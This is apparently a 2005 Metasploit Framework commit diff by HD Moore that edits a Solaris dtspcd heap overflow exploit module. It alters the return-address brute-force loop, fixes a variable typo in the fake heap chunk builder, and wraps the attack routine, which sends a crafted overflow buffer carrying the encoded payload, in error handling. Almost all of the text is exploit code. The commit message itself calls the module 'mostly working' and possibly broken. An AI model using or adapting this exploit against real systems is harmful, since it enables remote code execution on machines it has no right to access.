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metasploit-framework
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Mostly working, shellcode/encoder/nops may be busted 

git-svn-id: file:///home/svn/incoming/trunk@3275 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2005-12-30 06:17:48 +00:00
parent f7e0579a3c
commit 4b92b6aa48
1 changed files with 17 additions and 12 deletions
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9
modules/exploits/solaris/dtspcd/heap_noir.rb
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@ -62,7 +62,7 @@ class Exploits::Solaris::Dtspcd::Heap_Noir < Msf::Exploit::Remote
rbase = target['Rets'][1]
while (rbase < target['Rets'][2]) do
print_status("Trying 0x%.8x 0x%.8x" % target['Rets'][0] + tjmp, rbase)
print_status(sprintf("Trying 0x%.8x 0x%.8x...", target['Rets'][0] + tjmp, rbase))
attack(target['Rets'][0] + tjmp, rbase, payload.encoded)
attack(target['Rets'][0] + tjmp, rbase + 4, payload.encoded)
rbase += target['Rets'][3]
@ -93,7 +93,7 @@ class Exploits::Solaris::Dtspcd::Heap_Noir < Msf::Exploit::Remote
def chunk_create(retloc, retadd)
"\x12\x12\x12\x12" +
[retaddr].pack('N')+
[retadd].pack('N')+
"\x23\x23\x23\x23\xff\xff\xff\xff" +
"\x34\x34\x34\x34\x45\x45\x45\x45" +
"\x56\x56\x56\x56" +
@ -104,6 +104,7 @@ class Exploits::Solaris::Dtspcd::Heap_Noir < Msf::Exploit::Remote
def attack(retloc, retadd, fcode)
spc_connect()
begin
buf = ("\xa4\x1c\x40\x11\x20\xbf\xff\xff" * ((4096 - 8 - fcode.length) / 8)) + fcode
buf << "\x00\x00\x10\x3e\x00\x00\x00\x14"
buf << "\x12\x12\x12\x12\xff\xff\xff\xff"
@ -113,6 +114,10 @@ class Exploits::Solaris::Dtspcd::Heap_Noir < Msf::Exploit::Remote
spc_write(spc_register("", buf), 4)
sock.get_once(-1)
rescue EOFError
rescue => e
$stderr.puts "Error: #{e.to_s} #{e.class.to_s}"
end
end